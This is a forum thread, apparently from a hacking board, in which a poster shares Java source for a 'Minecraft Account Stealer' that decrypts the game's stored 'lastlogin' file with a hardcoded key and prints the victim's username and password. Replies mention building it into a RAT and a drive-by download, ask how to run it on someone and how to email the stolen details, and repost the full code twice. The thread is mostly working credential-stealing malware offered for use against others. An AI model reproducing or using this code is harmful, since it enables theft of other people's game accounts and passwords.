[Java] Minecraft Stealer

Posts 112 of 12 · Page 1 of 1
[Java] Minecraft Stealer
Hey guys, just researched a bit on MineCraft and found a password stealer. I decided that you guys would
like the source instead of me just selling it lol xD.
Code:
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

/**
*
* @Author DarkShadowz
*/
public class Main {

    public static File getMinecraftDir() {
  String os = System.getProperty("os.name", "").toLowerCase();
  String home = System.getProperty("user.home", ".");

  if (os.contains("win")) {
    String appdata = System.getenv("APPDATA");
    if (appdata != null) {
    return new File(appdata, ".minecraft");
    } else {
    return new File(home, ".minecraft");
    }
  } else if (os.contains("mac")) {
    return new File(home, "Library/Application Support/minecraft");
  } else {
    return new File(home, ".minecraft/");
  }
    }

    public static void main(String[] args) {
  try {
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(2, pbeKey, pbeParamSpec);
    File passFile = new File(getMinecraftDir(), "lastlogin");
    DataInputStream dis = null;
    if (cipher != null) {
    dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
    } else {
    dis = new DataInputStream(new FileInputStream(passFile));
    }
    System.out.println("Minecraft Account Stealer - By DarkShadowz");
    System.out.println("Username: " + dis.readUTF());
    System.out.println("Password: " + dis.readUTF());
    dis.close();
  } catch (Exception ex) {
    ex.printStackTrace();
  }
    }
}
i have this coded in a java Rat and a have that on a java driveby
So, how do I use it on somebody? Do I have to get them to run it?
Sweet i have rat programmed with this built in but is exciting to see how its coded. Good job thanks!
Sorry for asking but, is there a way for it to send the details to your email?
Quote Originally Posted by TheMasterOfHax View Post
Sorry for asking but, is there a way for it to send the details to your email?
can questions get any more retarded then this?
Quote Originally Posted by Hell_Demon View Post
can questions get any more retarded then this?
wats with all the ;'s ????!254
Edit: Replied to wrong post x.x
I use NetBeans IDE 7.0.1 and this source seems to work for me

Code:
import java****.DataInputStream;
import java****.File;
import java****.FileInputStream;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

/**
*
* @Author DarkShadowz
*/
public class MinecraftAccountStealer //<editor-fold defaultstate="collapsed" desc="comment">
{
    //</editor-fold>

    public static File getMinecraftDir() {
  String os = System.getProperty("os.name", "").toLowerCase();
  String home = System.getProperty("user.home", ".");

  if (os.contains("win")) {
    String appdata = System.getenv("APPDATA");
    if (appdata != null) {
    return new File(appdata, ".minecraft");
    } else {
    return new File(home, ".minecraft");
    }
  } else if (os.contains("mac")) {
    return new File(home, "Library/Application Support/minecraft");
  } else {
    return new File(home, ".minecraft/");
  }
    }

    public static void main(String[] args) {
  try {
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(2, pbeKey, pbeParamSpec);
    File passFile = new File(getMinecraftDir(), "lastlogin");
    DataInputStream dis = null;
    if (cipher != null) {
    dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
    } else {
    dis = new DataInputStream(new FileInputStream(passFile));
    }
    System.out.println("Minecraft Account Stealer - By DarkShadowz");
    System.out.println("Username: " + dis.readUTF());
    System.out.println("Password: " + dis.readUTF());
    dis.close();
  } catch (Exception ex) {
  }
    }
}


---------- Post added at 02:54 AM ---------- Previous post was at 02:21 AM ----------

Quote Originally Posted by LEGiiTxCHAOTiiC View Post
I use NetBeans IDE 7.0.1 and this source seems to work for me

Code:
import java****.DataInputStream;
import java****.File;
import java****.FileInputStream;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

/**
*
* @Author DarkShadowz
*/
public class MinecraftAccountStealer //<editor-fold defaultstate="collapsed" desc="comment">
{
    //</editor-fold>

    public static File getMinecraftDir() {
  String os = System.getProperty("os.name", "").toLowerCase();
  String home = System.getProperty("user.home", ".");

  if (os.contains("win")) {
    String appdata = System.getenv("APPDATA");
    if (appdata != null) {
    return new File(appdata, ".minecraft");
    } else {
    return new File(home, ".minecraft");
    }
  } else if (os.contains("mac")) {
    return new File(home, "Library/Application Support/minecraft");
  } else {
    return new File(home, ".minecraft/");
  }
    }

    public static void main(String[] args) {
  try {
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(2, pbeKey, pbeParamSpec);
    File passFile = new File(getMinecraftDir(), "lastlogin");
    DataInputStream dis = null;
    if (cipher != null) {
    dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
    } else {
    dis = new DataInputStream(new FileInputStream(passFile));
    }
    System.out.println("Minecraft Account Stealer - By DarkShadowz");
    System.out.println("Username: " + dis.readUTF());
    System.out.println("Password: " + dis.readUTF());
    dis.close();
  } catch (Exception ex) {
  }
    }
}
Forget what I wrote, it gives exceptions idk y considering the compiler says it's ok and it works if you run it in the IDE
How do i use it?please help
And why is this in the tutorials section?
Posts 112 of 12 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?